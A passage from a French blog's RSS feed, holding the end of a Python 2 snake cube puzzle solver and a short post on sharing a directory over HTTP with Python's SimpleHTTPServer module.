        if len(self.eq_classes_path) == 2:
            # this is not the first initialisation, we have to remove the
            # eq_classes associated with the previous cursor
            self.eq_classes_path.pop()
        self.cursor = cursor

        # make a copy to not modify the previous one (must be immutable)
        cursor_eq_classes = self.eq_classes_path[0][:]
        for i in xrange(len(cursor_eq_classes)):
            # if the equivalence class must be splitted
            # i.e. the value for the axis has changed
            if cursor_eq_classes[i] != i and not self.__eq_cmp(
                    cursor[cursor_eq_classes[i]],\
                    cursor[i], self.dimensions[i]):
                old_class = cursor_eq_classes[i]
                cursor_eq_classes[i] = i
                # If eq_classes = [0, 0, 0], and we detected that the first
                # dimension is not equivalent anymore with the two others,
                # then the new eq_classes will be [0, 1, 1]:
                # we have to check the next dimensions to change their value
                for j in xrange(i + 1, len(cursor_eq_classes)):
                    if cursor_eq_classes[j] == old_class:
                        cursor_eq_classes[j] = i

        self.eq_classes = cursor_eq_classes
        self.eq_classes_path.append(cursor_eq_classes)
        # At this point, eq_classes_path contains two items:
        #   - the eq_class at index 0 computed only from the dimensions;
        #   - the eq_class at index 1 computed from the initial point
        #     (which splits the equivalence classes computed from the
        #     dimensions).

    def get_useful_points(self):
        """Returns one point from each equivalence class, not more.

        For example, if dimensions is [3, 3, 3], then useful points are
        [[0, 0, 0], [0, 0, 1], [0, 1, 1], [1, 1, 1]]
        which are, respectively:
        [a corner, an edge, a center, the core (middle of the cube)]
        All other points are equivalent to one point in this minimal set.
        """
        assert len(self.eq_classes_path) == 1, \
               'When computing useful points, there is only 1 eq_classes, ' +\
               'computed from the dimensions'
        # start with point 0
        for point in self.get_useful_points_rec(0, [0] * len(self.dimensions)):
            yield point

    def get_useful_points_rec(self, index, minimums):
        if index == len(self.dimensions):
            yield []
        else:
            eq_class = self.eq_classes[index]
            # We want to remove symmetry-or-rotation-equivalent-points.
            # The easiest way to achive this goal is to:
            #   - consider only one half of dimension length (+1);
            #   - always use sorted coordinates inside equivalence classes.
            #
            # For a dimension of length 3, we consider only the values 0 and 1.
            # For a dimension of length 4, we consider 0 and 1 too.
            # For a dimension of length 5, we consider 0, 1 and 2.
            #
            # Only use sorted coordinates avoid to check [0, 1] and [1, 0],
            # because they are equivalent. When building a vector, we keep a
            # "minimum" value (rather a "minimums" array, one minimum for each
            # equivalence class) to guarantee this condition.
            minimum = minimums[eq_class]
            # h is "head", t is "tail"
            for h in xrange(minimum, (self.dimensions[index] + 1) / 2):
                # change the minimum for deeper recursive calls
                minimums[eq_class] = h
                for t in self.get_useful_points_rec(index + 1, minimums):
                    yield [h] + t
            # restore the previous value
            minimums[eq_class] = minimum 

    def move(self, vector):
        """Compute the new equivalent classes after a move by the vector."""
        assert self.eq_classes[vector.position] == vector.position,\
               'A move must always concern the first vector of an ' +\
               'equivalence class'

        # create a copy of eq_classes only if it changes, else use the same
        # instance
        has_changes = False
        position = vector.position
        new_eq_classes = self.eq_classes
        new_eq_class = None
        # the axis is now alone in its equivalence class (the vector has moved
        # the cursor on this axis, but not on the others), we have to update
        # the others (if any)
        for i in xrange(position + 1, len(self.eq_classes)):
            if self.eq_classes[i] == position:
                if not has_changes:
                    has_changes = True
                    new_eq_classes = self.eq_classes[:]
                if new_eq_class is None:
                    new_eq_class = i
                new_eq_classes[i] = new_eq_class
        self.eq_classes = new_eq_classes
        self.eq_classes_path.append(new_eq_classes)

    def back(self):
        """Cancel the last move."""
        self.eq_classes_path.pop()
        self.eq_classes = self.eq_classes_path[-1]

    def must_explore(self, i):
        """Returns True if the vector position is the first in its equivalence
        class (the others will be ignored, because equivalents)"""
        return self.eq_classes[i] == i

    @staticmethod
    def __eq_cmp(p1, p2, dim):
        """Comparator which tests if two point are "equivalent" on an axis.

        Keyword arguments:
        p1 -- projection of the point 1 on the axis
        p2 -- projection of the point 2 on the axis
        dim -- length of dimension associated to the axis

        p1 and p2 are equivalent if and only if:
          -    v1 == v2 (they are at the same place)
          - or v1 + v2 + 1 = dim (they are symmetrically opposite)
        """
        return p1 == p2 or p1 + p2 + 1 == dim

class SnakeCubeSolver:

    """Solver."""

    def __init__(self, dimensions, structure):
        """Create a new solver.

        Keyword arguments:
        dimensions -- the dimensions of the target volume
                      (for example [3, 3, 3])
        structure -- the snake structure
        """
        self.dimensions = dimensions
        self.structure = structure
        self.volume_helper = VolumeHelper(dimensions)
        self.symmetry_helper = SymmetryHelper(dimensions)

    def solve(self):
        """Solve the snake.

        This function returns an iterator: the full list of solutions is not
        created."""

        # the structure length must exactly fill the target volume
        structure_length = sum(self.structure)
        needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1
        if structure_length != needed_length:
            print 'Structure has not the right length (' +\
                  str(structure_length) + ' instead of ' +\
                  str(needed_length) + ')'
        else:
            for init_point in self.symmetry_helper.get_useful_points():
                # for each useful initial point (in a minimal set where no
                # points are equivalent to another)
                self.volume_helper.set_cursor(init_point)
                self.symmetry_helper.set_cursor(init_point)
                # recursively solve and yield the solutions
                for solution in self.__solve_rec(init_point[:], 0):
                    yield solution

    def __solve_rec(self, init_cursor, step):
        """Recursively solve.

        Keyword arguments:
        init_cursor -- starting point, only used to put it in found solutions
        step -- recursivity depth, index of current vector in snake structure
        """
        if step == len(self.structure):
            # a new solution is found, copy the path and yield the solution
            yield init_cursor, self.volume_helper.path[:]
        else:
            if len(self.volume_helper.path) == 0:
                # empty path, use an inexistant position (-1),
                # i != previous_position will always be True
                previous_position = -1
            else:
                previous_position = self.volume_helper.path[-1].position
            # get the vector norm for the current step
            norm = self.structure[step]
            # iterate over the next possible vectors, i.e. all vectors which
            # are orthogonal to the previous one

            for possible_vector in ( Vector(i, v)
                                     for v in [norm, -norm]
                                     for i in xrange(len(self.dimensions))
                                     if i != previous_position and
                                        self.symmetry_helper.must_explore(i)):
                if self.volume_helper.can_move(possible_vector):
                    # if it is possible to move the cursor by the vector, then
                    # move it
                    self.volume_helper.move(possible_vector)
                    # and recursively solve
                    self.symmetry_helper.move(possible_vector)
                    for solution in self.__solve_rec(init_cursor, step + 1):
                        yield solution
                    # cancel the move to put back the state of the helper
                    self.volume_helper.back()
                    self.symmetry_helper.back()

def main():
    solver = SnakeCubeSolver(VOLUME_DIMENSIONS, SNAKE_STRUCTURE)
    # print all solutions
    for solution in solver.solve():
        print solution

    # print the first solutions
#    max_solutions = 5
#    solutions = solver.solve()
#    for i in xrange(max_solutions):
#        try:
#            print solutions.next()
#        except StopIteration:
#            break
    exit(0)

if __name__ == "__main__":
    main()</pre>
]]></content:encoded>
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		<item>
		<title>Créer un serveur HTTP en 10 secondes sur Ubuntu grâce à Python</title>
		<link>http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes/</link>
		<comments>http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 15:22:39 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

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		<description><![CDATA[Il suffit d&#8217;aller dans le répertoire à partager et d&#8217;exécuter&#160;: $ python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... Le répertoire sera chrooté et accessible sur http://localhost:8000. Par défaut, le port 8000 est utilisé, mais on peut le changer&#160;: $ python -m SimpleHTTPServer 1234 Serving HTTP on 0.0.0.0 port 1234 ... Pour les [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2009/12/python-logo.png"><img src="http://blog.rom1v.com/wp-content/uploads/2009/12/python-logo.png" alt="python-logo" title="python-logo" width="115" height="142" class="alignright size-full wp-image-1067" /></a></p>
<p>Il suffit d&#8217;aller dans le répertoire à partager et d&#8217;exécuter&nbsp;:</p>
<pre>$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...</pre>
<p>Le répertoire sera chrooté et accessible sur <code>http://localhost:8000</code>.</p>
<p>Par défaut, le port 8000 est utilisé, mais on peut le changer&nbsp;:</p>
<pre>$ python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...</pre>
<p>Pour les ports inférieurs à 1024, il faut être <em>root</em>&nbsp;:</p>
<pre>$ sudo python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...</pre>
<p>Si le port correspondant est ouvert sur le routeur, il sera également accessible de l&#8217;extérieur. Pratique pour partager rapidement du contenu…</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2009/12/creer-un-serveur-http-en-10-secondes/feed/</wfw:commentRss>
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		</item>
	</channel>
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